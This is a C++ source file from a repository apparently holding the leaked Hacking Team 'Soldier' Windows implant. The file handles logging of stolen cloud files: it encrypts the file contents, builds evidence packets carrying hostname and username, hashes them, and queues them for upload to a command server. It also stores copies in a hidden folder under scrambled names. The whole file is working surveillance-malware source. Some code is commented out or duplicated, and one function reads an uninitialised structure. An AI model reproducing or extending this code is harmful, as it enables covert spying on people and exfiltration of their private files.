hackedteam/soldier-win

View on GitHub
Soldier/log_cloudfile.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include "globals.h"
#include "log_cloudfile.h"
#include "proto.h"
#include "zmem.h"
#include "aes.h"
#include "sha1.h"
#include "utils.h"
#include "crypt.h"


aes_context crypt_ctx;
LOG_CLOUD_ENTRY_STRUCT g_log_table[MAX_LOG_ENTRIES];


//add an entry to a logfile
BOOL LogCloud_ReportLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
    LPBYTE lpcEvBuffer=NULL;
    DWORD  dwEvSize;
    
    //encrypt the buffer
    lpcEvBuffer = PackEncryptEvidence(buff_len, buff, agent_tag, NULL, 0, &dwEvSize);
    znfree((LPVOID*)&buff);

    if(lpcEvBuffer == NULL)
        return LC_E_GENERIC;

    return LogCloud_QueueLog(agent_tag, lpcEvBuffer, dwEvSize);
}


//add a log to the log queue
BOOL LogCloud_QueueLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
    //check the size of the log buffer
    if(LogCloud_IsBufferFull(buff_len))
    {
        znfree(&buff);
        return LC_E_BUFFER_FULL;
    }

    for(int i=0; i<MAX_LOG_ENTRIES; i++)
    {
        if(g_log_table[i].dwSize == 0 || g_log_table[i].lpBuffer == NULL)
        {
            g_log_table[i].dwSize    = buff_len;
            g_log_table[i].lpBuffer    = buff;

            return LC_E_SUCCESS;
        }
    }

    #ifdef _DEBUG
    OutputDebugString(L"[!] Log buffer is full!");
    #endif    

    //delete the enctypted buffer
    znfree((LPVOID*)&buff);

    return LC_E_BUFFER_FULL;
}


//check if the structure has enough free bytes to tore the new evidence
BOOL LogCloud_IsBufferFull(DWORD dwNewEvidenceSize)
{
    DWORD dwTotSize=0, i;

    //loop to get the total size of the saved evidences
    for(i=0, dwTotSize=0; i<MAX_LOG_ENTRIES; i++)
        dwTotSize += g_log_table[i].dwSize;

    #ifndef H4DLL_EXPORTS
        if((dwTotSize + dwNewEvidenceSize) > MAX_CLOUD_FILE_SIZE)
        {
            #ifdef _DEBUG
                OutputDebugString(L"\r\n[LOG] The log buffer is FULL\r\n");                
                OutputDebugString(L"\r\n");
            #endif

            return TRUE;
        }
    #endif

    return FALSE;
}


//copy the file content in the log buffer
BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag)
{
    DWORD dwRet = 0;

    //vede se la dimensione e' consistente
    if (pCloudFile->dwFileSize == 0) 
        return LC_E_GENERIC;
    
    // Effettua la vera copia.    
    //if(LogCloud_CryptCopyBuffer(pCloudFile, agent_tag) != LC_E_SUCCESS) 
    return (LogCloud_CryptCopyBuffer_Hash(pCloudFile, agent_tag));
}


LPBYTE LogCloud_EncryptPayload(LPBYTE pIn, DWORD *pdwSize, DWORD dwChunkSize)
{
    DWORD i, dwEncLen=0, dwPayloadSize=0, dwAlignedChunk=0, dwExtraBytes=1024;

    if(pdwSize == NULL)
        return NULL;

    if(*pdwSize == 0)
        return NULL;

    if(pIn == NULL)
        return NULL;

    //align the size of the buffer
    DWORD dwAlignedSize = Align(*pdwSize, 16);
    dwAlignedChunk        = Align(dwChunkSize, 16);

    //add extra bytes to avoid reallocs (for each encrypt function call, 4 bytes are added to store the block len)
    LPBYTE pPayload = (LPBYTE)zalloc(dwAlignedSize + dwExtraBytes);
    if(pPayload == NULL)
        return NULL;

    LPBYTE pEncBuf=NULL, pChunk=NULL, pTmp=NULL;

    pChunk = pIn;
    pTmp   = pPayload;

    pEncBuf = (LPBYTE)malloc(dwAlignedChunk);
    if(pEncBuf == NULL)
    {
        znfree(&pPayload);
        return NULL;
    }

    //loop to encrypt the buffer according to the chunk size
    for(i=0, dwPayloadSize; i<*pdwSize; i+=dwAlignedChunk)
    {
        RtlSecureZeroMemory(pEncBuf, dwAlignedChunk);

        if((i + dwAlignedChunk) > *pdwSize)
        {            
            memcpy(pEncBuf, pChunk, (*pdwSize - i));

            dwAlignedChunk = Align((*pdwSize - i), 16);
        }
        else
            memcpy(pEncBuf, pChunk, dwAlignedChunk);        

        if((dwPayloadSize+dwAlignedChunk+4) > (dwAlignedSize+dwExtraBytes)) //4 bytes are for the size of the enctypted chunk (for each chunk)
        {
            //realloc the buffer
            dwAlignedSize = Align(dwPayloadSize+dwAlignedChunk, 16);

            if(LogCloud_ReallocBuf(&pPayload, dwAlignedSize+dwExtraBytes) != LC_E_SUCCESS)
            {
                znfree(&pPayload);
                znfree(&pEncBuf);
                return NULL;
            }

            pTmp  = pPayload;
            pTmp += dwPayloadSize;
        }

        //encrypt the buffer
        Encrypt(pEncBuf, dwAlignedChunk, pLogKey, PAD_NOPAD);

        *(LPDWORD)pTmp = dwAlignedChunk;
        pTmp += sizeof(DWORD);

        //copy the encrypted buffer to the payload
        memcpy(pTmp, pEncBuf, dwAlignedChunk);        

        pTmp    += dwAlignedChunk;
        pChunk  += dwAlignedChunk;

        dwPayloadSize += (dwAlignedChunk + sizeof(DWORD));
    }
    
    //free mem
    znfree(&pEncBuf);

    *pdwSize = dwPayloadSize;

    return pPayload;
}


//copy the evidence packet and hash it so when the evidence is sent, no new buffer must be allocated again.
BOOL LogCloud_CryptCopyBuffer_Hash(PGD_FILE pCloudFile, DWORD agent_tag)
{
    pFileAdditionalData pAdditionalData=NULL;
    LPBYTE pBuf=NULL, pcHeaderData=NULL, pcEncHeader=NULL, pcPayload=NULL;
    DWORD  dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0, dwCmdSize=0, dwAlignedCmdSize=0;

    //check the buffer for available size
    if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
    {
        return LC_E_BUFFER_FULL;
    }
    
    dwPayloadSize = pCloudFile->dwFileSize;

    //encrypt the file buffer
    pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN);    
    if(pcPayload == NULL)
        return LC_E_GENERIC;    
    znfree(&pCloudFile->pcFileBuf);

    //create the header to write in the file buffer
    pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR));
    if(pcHeaderData == NULL)
    {
        znfree(&pcPayload);
        return LC_E_ALLOC;
    }

    //create the log header
    pAdditionalData                    = (pFileAdditionalData)pcHeaderData;
    pAdditionalData->uVersion        = LOG_FILE_VERSION;
    pAdditionalData->uFileNameLen    = wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR);

    //copy the struct info to the header buffer
    memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen);
    //create the log header (size + hostname + username + additional data) all encrypted but the first DWORD
    pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen);
    znfree(&pcHeaderData);

    if(pcEncHeader == NULL)
    {
        znfree(&pcPayload);        
        return LC_E_GENERIC;
    }

    //size of the packet
    dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize; //size of the evidence packet
    dwCmdSize     = sizeof(DWORD) + dwPacketSize + 20;            //size of the hashed cmd to send to server

    //align the size
    dwAlignedCmdSize = dwCmdSize;
    if(dwAlignedCmdSize % 16)
        dwAlignedCmdSize += 16 - (dwAlignedCmdSize % 16);
    else
        dwAlignedCmdSize += 16;

    //generate the packet
    LPBYTE pcPacket=NULL, pTmp=NULL;
    
    pcPacket = (LPBYTE)zalloc(dwAlignedCmdSize);
    if(pcPacket == NULL)
    {
        znfree(&pcPayload);
        znfree(&pcEncHeader);
        return LC_E_GENERIC;
    }

    pTmp = pcPacket;

    //command
    *(LPDWORD)pTmp = (DWORD)PROTO_EVIDENCE;
    pTmp += sizeof(DWORD);

    //packet size
    *(LPDWORD)pTmp = (DWORD)dwPacketSize;
    pTmp += sizeof(DWORD);

    //header
    memcpy(pTmp, pcEncHeader, dwHeaderLen);
    znfree(&pcEncHeader);
    pTmp += dwHeaderLen;

    //payload
    memcpy(pTmp, pcPayload, dwPayloadSize);
    znfree(&pcPayload);
    pTmp += dwPayloadSize;

    //hash the packet
    BYTE pSha1Digest[20];
    CalculateSHA1(pSha1Digest, pcPacket, dwCmdSize-20);
    memcpy(pTmp, pSha1Digest, 20);

    #ifdef _DEBUG
        OutputDebugString(L"\r\n[LOG] Logging cloud file\r\n");
        OutputDebugString(pCloudFile->pwszFileName);
        OutputDebugString(L"\r\n");
    #endif

    //queue the log with the cmd size and not the aligned size
    //because the SendEvidence_Encrypt have to encrypt the buffer content with that size.
    //The encryption cannot be done here because the session key is different for every sync
    return LogCloud_QueueLog(agent_tag, pcPacket, dwCmdSize);
}


//copy the log buffer obfuscating it
BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag)
{
    pFileAdditionalData pAdditionalData=NULL;
    LPBYTE pcHeaderData=NULL, pcEncHeader=NULL,  pcPayload=NULL;
    DWORD  dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0;

    //check the buffer for available size
    if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
    {
        return LC_E_BUFFER_FULL;
    }
    
    dwPayloadSize = pCloudFile->dwFileSize;

    //encrypt the file buffer
    pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN);
    if(pcPayload == NULL)
        return LC_E_GENERIC;
    znfree(&pCloudFile->pcFileBuf);

    //create the header to write in the file buffer
    pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR));
    if(pcHeaderData == NULL)
    {
        znfree(&pcPayload);
        return LC_E_ALLOC;
    }

    //create the log header
    pAdditionalData                    = (pFileAdditionalData)pcHeaderData;
    pAdditionalData->uVersion        = LOG_FILE_VERSION;
    pAdditionalData->uFileNameLen    = wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR);

    //copy the struct info to the header buffer
    memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen);
    //create the log header (size + hostname + username + additional data) all encrypted but the first DWORD
    pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen);
    znfree(&pcHeaderData);

    if(pcEncHeader == NULL)
    {    
        znfree(&pcEncHeader);
        znfree(&pcPayload);
        return LC_E_GENERIC;
    }

    //size of the packet
    dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize;

    //generate the packet
    LPBYTE pcPacket=NULL, pTmp=NULL;
    
    pcPacket = (LPBYTE)malloc(dwPacketSize);
    pTmp = pcPacket;

    //packet size
    *(LPDWORD)pTmp = (DWORD)dwPacketSize;
    pTmp += sizeof(DWORD);

    //header
    memcpy(pTmp, pcEncHeader, dwHeaderLen);
    znfree(&pcEncHeader);
    pTmp += dwHeaderLen;    

    //payload
    memcpy(pTmp, pcPayload, dwPayloadSize);
    znfree(&pcPayload);

    //queue the log
    return LogCloud_QueueLog(agent_tag, pcPacket, dwPacketSize);
}

/*
//copy the log buffer obfuscating it - working
BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag)
{
    FileAdditionalData *file_additiona_data_header=NULL;
    LPBYTE pBuf=NULL;
    LPBYTE file_additional_data=NULL;
    LPBYTE log_file_header=NULL, pTmpBuf=NULL;
    WCHAR  *to_display=NULL;
    DWORD  dwHeaderLen=0;

    LPBYTE pEncBuf = NULL;
    DWORD  dwCopiedSize=0, dwEncLen=0, i, dwWrSize, dwChunkSize;
    BOOL   bErr = FALSE;


    //check the size of the log buffer
    if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
    {
        return FALSE;
    }

    to_display = pCloudFile->pwszFileName;

    //create the header to write in the file buffer
    if(!(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
        return FALSE;

    file_additiona_data_header = (FileAdditionalData*)file_additional_data;
    file_additiona_data_header->uVersion = LOG_FILE_VERSION;
    file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
    memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);

    //enctypt the evidence
    pEncBuf = PackEncryptEvidence(pCloudFile->dwFileSize, 
                                  pCloudFile->pcFileBuf, 
                                  agent_tag, 
                                  file_additional_data, 
                                  file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), 
                                  &dwEncLen);

    //free mem
    znfree(&pCloudFile->pcFileBuf);
    
    if(bErr == TRUE)
    {
        znfree(&pEncBuf);
        return FALSE;
    }

    //queue the log
    return LogCloud_QueueLog(agent_tag, pEncBuf, dwEncLen);
}
*/

/*
// Formatta il buffer per l'invio di un log
// Non usa PrepareCommand per evitare di dover allocare due volte la dimensione del file
LPBYTE LogCloud_PrepareBuffer(LPBYTE lpBuf, DWORD *pdwBufLen)
{
    SHA1Context sha;
    DWORD tot_len, pad_len, i;
    BYTE *buffer, *ptr;
    aes_context crypt_ctx;
    DWORD msg_len, bytes_left;
    BYTE iv[16];
    DWORD command = PROTO_EVIDENCE;
    HANDLE hfile;
    DWORD n_read;
    DWORD rand_pad_len = 0;

//    if(pdwBufLen)
//        *pdwBufLen = 0;

    rand_pad_len = (rand()%15)+1;

    msg_len = *pdwBufLen;

    //round size
    pad_len = tot_len = sizeof(DWORD)*2 + msg_len + SHA_DIGEST_LENGTH;
    tot_len/=16;
    tot_len++;
    tot_len*=16;
    pad_len = tot_len - pad_len;

    // alloca il buffer
    if(!(buffer = (BYTE *)malloc(tot_len + rand_pad_len))){
        CloseHandle(hfile);
        return NULL;
    }

    // scrive il buffer
    memset(buffer, pad_len, tot_len);
    ptr = buffer;
    memcpy(ptr, &command, sizeof(DWORD));
    ptr += sizeof(DWORD);
    memcpy(ptr, &msg_len, sizeof(DWORD));
    ptr += sizeof(DWORD);

    // copia il contenuto del file
    lpBuf += 4;
    memcpy(ptr, lpBuf, msg_len);

    //bytes_left = msg_len;
    //while (bytes_left > 0) {
    //    if (!ReadFile(hfile, ptr, bytes_left, &n_read, NULL) || n_read==0) {
    //        CloseHandle(hfile);
    //        return NULL;
    //    }
    //    ptr += n_read;
    //    bytes_left -= n_read;
    //}
    //CloseHandle(hfile);

    // Calcola lo sha1 sulla prima parte del buffer
    SHA1Reset(&sha);
    SHA1Input(&sha, buffer, sizeof(DWORD)*2 + msg_len);
    if (!SHA1Result(&sha)) {
        free(buffer);
        return NULL;
    }
    // ..lo scrive
    for (i=0; i<5; i++)
        sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]);
    memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest));

    // cifra il tutto
    aes_set_key( &crypt_ctx, (BYTE *)pSessionKey, 128);
    memset(iv, 0, sizeof(iv));
    //aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, tot_len);
    aes_cbc_encrypt_pkcs5(&crypt_ctx, iv, buffer, buffer, tot_len);
    //rand_bin_seq(buffer + tot_len, rand_pad_len);
    AppendRandomData(buffer + tot_len, rand_pad_len);

    if(pdwBufLen)
        *pdwBufLen = tot_len + rand_pad_len;

    return buffer;
}
*/


//realloc a buffer
BOOL LogCloud_ReallocBuf(LPBYTE *pOldBuf, DWORD dwNewSize)
{
    LPBYTE pTmp = NULL;

    //realloc the dest buffer to contain the new chunk
    pTmp = *pOldBuf;
    *pOldBuf = (LPBYTE)realloc(*pOldBuf, dwNewSize);
    if(*pOldBuf == NULL)
    {
        znfree(&pTmp);
        return LC_E_ALLOC;
    }

    return LC_E_SUCCESS;
}

#ifdef H4DLL_EXPORTS

DWORD LogCloud_WCharToMB(LPWSTR pIn, LPSTR* pOut)
{
    DWORD dwSize;

    //return the number of chars needed by dest buffer
    dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, 0, 0, 0, 0);
    if(dwSize == 0)
        return LC_CONV_ERROR;

    //alloc dest buffer
    *pOut = (LPSTR)zalloc(dwSize);
    if(*pOut == NULL)
        return LC_ALLOC_ERROR;

    //conversion
    dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, *pOut, dwSize, 0 , 0);
    if(dwSize == 0)
        return LC_CONV_ERROR;

    return LC_SUCCESS;
}

//copy the log buffer obfuscating it
BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag)
{
    HANDLE hsrc, hdst;
    BY_HANDLE_FILE_INFORMATION dst_info;
    DWORD existent_file_size = 0;
    DWORD dwRead;
    BYTE *temp_buff;
    BYTE *file_additional_data;
    BYTE *log_file_header;
    FileAdditionalData *file_additiona_data_header;
    DWORD header_len;
    WCHAR *to_display;

    if (display_name)
        to_display = display_name;
    else
        to_display = src_path;

    // Crea l'header da scrivere nel file
    if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
        return FALSE;
    file_additiona_data_header = (FileAdditionalData *)file_additional_data;
    file_additiona_data_header->uVersion = LOG_FILE_VERSION;
    file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
    memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
    log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
    SAFE_FREE(file_additional_data);
    if (!log_file_header)
        return FALSE;
    
    // Prende le info del file destinazione (se esiste)
    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hdst != INVALID_HANDLE_VALUE) {
        if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
            existent_file_size = dst_info.nFileSizeLow;
        }
        CloseHandle(hdst);
    }

    if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
        SAFE_FREE(log_file_header);
        return FALSE;
    }

    hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hsrc == INVALID_HANDLE_VALUE) {
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        return FALSE;
    }

    // Controlla che ci sia ancora spazio per scrivere su disco
    if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
        SAFE_FREE(temp_buff);
        SAFE_FREE(log_file_header);
        CloseHandle(hsrc);
        return FALSE;
    }

    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    if (hdst == INVALID_HANDLE_VALUE) {
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        CloseHandle(hsrc);
        return FALSE;
    }
    // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
    // recuperata.
    log_free_space += existent_file_size;

    // Scrive l'header nel file
    if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
        CloseHandle(hsrc);
        CloseHandle(hdst);
        SAFE_FREE(log_file_header);
        SAFE_FREE(temp_buff);
        return FALSE;
    }
    if (log_free_space >= header_len)
        log_free_space -= header_len;
    SAFE_FREE(log_file_header);
    FNC(FlushFileBuffers)(hdst);

    // Cicla finche riesce a leggere (e/o a scrivere)
    LOOP {
        dwRead = 0;
        if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
            break;
        // La Log_WriteFile sottrae la quota disco di ogni scrittura
        // Esce perche' quando il file da leggere e' finito dwRead e' 0
        // e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte
        if (!Log_WriteFile(hdst, temp_buff, dwRead))
            break;
    }

    SAFE_FREE(temp_buff);
    CloseHandle(hsrc);
    CloseHandle(hdst);
    return TRUE;
}


//Copy the file in the hidden folder, hashing del path.
//Files with the same hashed path are ovrewritten.
BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag)
{
    HANDLE hfile;
    BY_HANDLE_FILE_INFORMATION src_info, dst_info;
    char red_fname[100];
    char log_wout_path[_MAX_FNAME];
    char dest_file_path[DLLNAMELEN];
    char dest_file_mask[DLLNAMELEN];
    char *scrambled_name;
    nanosec_time src_date, dst_date;
    FILETIME time_nanosec;
    //SYSTEMTIME system_time;
    WIN32_FIND_DATA ffdata;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    

    //Vede se la dimensione e' consistente
    if (pCloudFile->dwFileSize == 0) 
        return FALSE;
    
    // fa lo SHA1 del path in red_fname
    SHA1Context sha;
    SHA1Reset(&sha);
    SHA1Input(&sha, (const unsigned char *)pCloudFile->pwszFileName, (DWORD)(wcslen(pCloudFile->pwszFileName)*2));
    if (!SHA1Result(&sha)) 
        return FALSE;

    memset(red_fname, 0, sizeof(red_fname));
    for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) 
        sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]);

    // Vede se ha gia' catturato questo file...
    _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname);
    if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
        return FALSE;    
    HM_CompletePath(scrambled_name, dest_file_mask);
    SAFE_FREE(scrambled_name);
    hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata);
    if (hFind != INVALID_HANDLE_VALUE) {
        //...se l'ha gia' catturato usa il vecchio nome
        HM_CompletePath(ffdata.cFileName, dest_file_path);
        FNC(FindClose)(hFind);
    } else {
        // ...altrimenti gli crea un nome col timestamp attuale
        FNC(GetSystemTimeAsFileTime)(&time_nanosec);
        //FNC(SystemTimeToFileTime)(&system_time, &time_nanosec);    
        _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
        if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
            return FALSE;    
        HM_CompletePath(scrambled_name, dest_file_path);
        SAFE_FREE(scrambled_name);
    }

    // Prende le info del file destinazione (se esiste)
    hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hfile != INVALID_HANDLE_VALUE) {
        if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) {
            CloseHandle(hfile);
            return FALSE;
        }
        CloseHandle(hfile);

        // Compara le date dei due file (evita riscritture dello stesso file)
        src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime;
        src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime;
        dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime;
        dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime;
        if (!IsGreaterDate(&src_date, &dst_date)) 
            return FALSE;
    }

    // Effettua la vera copia.
    if (!LogCloud_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) 
        return FALSE;

    return TRUE;
}

#endif